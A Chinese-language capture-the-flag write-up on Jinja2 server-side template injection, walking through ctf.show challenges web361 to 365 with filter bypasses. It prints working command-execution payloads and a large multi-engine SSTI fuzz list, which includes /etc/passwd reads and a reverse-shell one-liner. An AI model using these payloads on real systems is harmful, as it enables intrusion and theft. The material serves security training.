SSTI是什么

SSTI,服务端模板注入,其实也就是模板引擎+注入,那么我们首先需要了解一下模板引擎

模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

常见的模板引擎

1
2
3
PHP: Smarty, Twig, Blade
JAVA: JSP, FreeMarker, Velocity
Python: Jinja2, django, tornado

由于渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控.如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入.

在 SSTI 漏洞点中, 里面的内容会被执行。

此篇文章仅探究python中ssti

题目地址 https://ctf.show/challenges

个人理解ssti题目就是获取一些危险子类,在危险子类中寻找可以利用的函数来命令执行或文件读取等

前置知识

在学习SSTI注入之前,我们首先需要了解一些python的魔术方法和内置类

__class__用于返回该对象所属的类
示例:

1
2
3
4
>>> 'abcd'.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>

__base__用于获取类的基类(也称父类)
示例:

1
2
3
4
5
>>> "".__class__
<class 'str'>
>>> "".__class__.__base__
<class 'object'>
//object为str的基类

__mro__返回解析方法调用的顺序。(当调用_mro_[1]或者-1时作用其实等同于_base_)
示例:

1
2
3
4
5
6
>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[1]
<class 'object'>
>>> "".__class__.__mro__[-1]
<class 'object'>

__subclasses__()可以获取类的所有子类
示例

1
2
>>> "".__class__.__mro__[-1].__subclasses__()
[<class 'type'>,<class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>...]

web361

题目传参为name 也就是/?name=1

http://7650d43c-2ae1-4428-aa41-80f2cd571827.challenge.ctf.show/?name=1

回显为1,测试是否存在ssti漏洞,

payload:http://7650d43c-2ae1-4428-aa41-80f2cd571827.challenge.ctf.show/?name={{7*7}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
正常没有漏洞将回显传入的值,然而`Flask`中使用了`Jinja2` 作为模板渲染引擎,{{}}在`Jinja2`中作为变量包裹标识符,`Jinja2`在渲染的时候会把{{}}包裹的内容进行解析。`{{7*7}}`会被解析成49。

第一步使用 class获取当前类使用`__class__`


name={{"".__class__}}
返回
<class 'str'>


name={{1.__class__\}\}
返回
<class 'int'>

name={{a.__class__}}
返回
<class 'jinja2.runtime.Undefined'>

{{().__class__}}
返回


第二步使用 获取当前类的基类,这里可以用`__base__`,也可以用`__mro__`



{{"".__class__.__mro__}}
返回
(<class 'str'>, <class 'object'>)
取object


name={{"".__class__.__bases__[0]}}

name={{"".__class__.__mro__[1]}}

name={{"".__class__.__mro__[-1]}}


第三步获取基类的子类,这里可以用`__subclasses__()`



name={{"".__class__.__mro__[-1].__subclasses__()}}
返回
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>,........

第四步,获取可以使用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
脚本1  本地查找
import re

# 将查找到的父类列表替换到data中
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)

//
脚本2 在线查找
import requests

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
url = "http://127.0.0.1:5000/?name=\
{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
#print(res.text)
if 'os._wrap_close' in res.text:
print(i)

image-20230408161509018

可以看到os可以使用,在132位

{{"".__class__.__mro__[-1].__subclasses__()[132]}}

第五步,继续构造,接下来就可以利用os。_wrap_close,这个类中有popen方法,我们去调用它

先调用它的__init__方法进行初始化类

1
2
3
4
5
6
7
8
name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__}}
返回
//<function _wrap_close.__init__ at 0x7f37bfb745e0>


然后再调用__globals__获取到方法内以字典的形式返回的方法、属性等
name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__}}

image-20230409220834519

1
2
name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__['popen']('dir').read()}}
name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__['popen']('id').read()}}

image-20230409220943551

即可命令执行了

1
http://5dc9087f-a33a-43fd-89f6-729c41675180.challenge.ctf.show/?name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362 开始过滤

不清楚过滤了什么,fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
{{4*4}}[[5*5]]
{{7*7}}
{{7*'7'}}
<%= 7 * 7 %>
${3*3}
${{7*7}}
@(1+2)
#{3*3}
#{ 7 * 7 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
{{self._TemplateReference__context.cycler.__init__.__globals__.os}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os}}
{{cycler.__init__.__globals__.os}}
{{joiner.__init__.__globals__.os}}
{{namespace.__init__.__globals__.os}}



"
""
.
_
__
[
]
{
}
'
''
class
base
bases
subclasses
(
)
()
a
b
c
d
0
1
2
3
4
5
6
7
8
9

image-20230409222145988

似乎过滤了2和3

绕过数字,随便用一个字母就行

1
2
3
4
5
?name={{c.__init__}}
?name={{bohemian.__init__.__globals__}}
?name={{bohemian.__init__.__globals__['__builtins__']}}
eval
?name={{bohemian.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}

image-20230409222556134

image-20230409222730355

web363

fuzz一下,过滤了单双引号,可以使用圆括号及args get 或post 或 cookie参数

image-20230409223204317

1
2
3
4
5
6
7
8
9
10
11
12
13
request.args.b
request.values.b
request.cookies.b


http://76d85bcd-ec44-4686-965c-bddb2b8af3fd.challenge.ctf.show/?name={{bohemian.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
//将带引号的popen和ls换掉即可
payload
http://76d85bcd-ec44-4686-965c-bddb2b8af3fd.challenge.ctf.show/?name={{bohemian.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag


payload2
http://76d85bcd-ec44-4686-965c-bddb2b8af3fd.challenge.ctf.show/?name={{bohemian.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag

web364

好像和363一样过滤了单双引号

1
http://be1c7d5b-82ba-4405-a533-0fc2b28c9dff.challenge.ctf.show/?name={{bohemian.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag

365

过滤了[]

1
http://82ab42e3-eae4-4c5b-80f5-83fae500e217.challenge.ctf.show/?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=id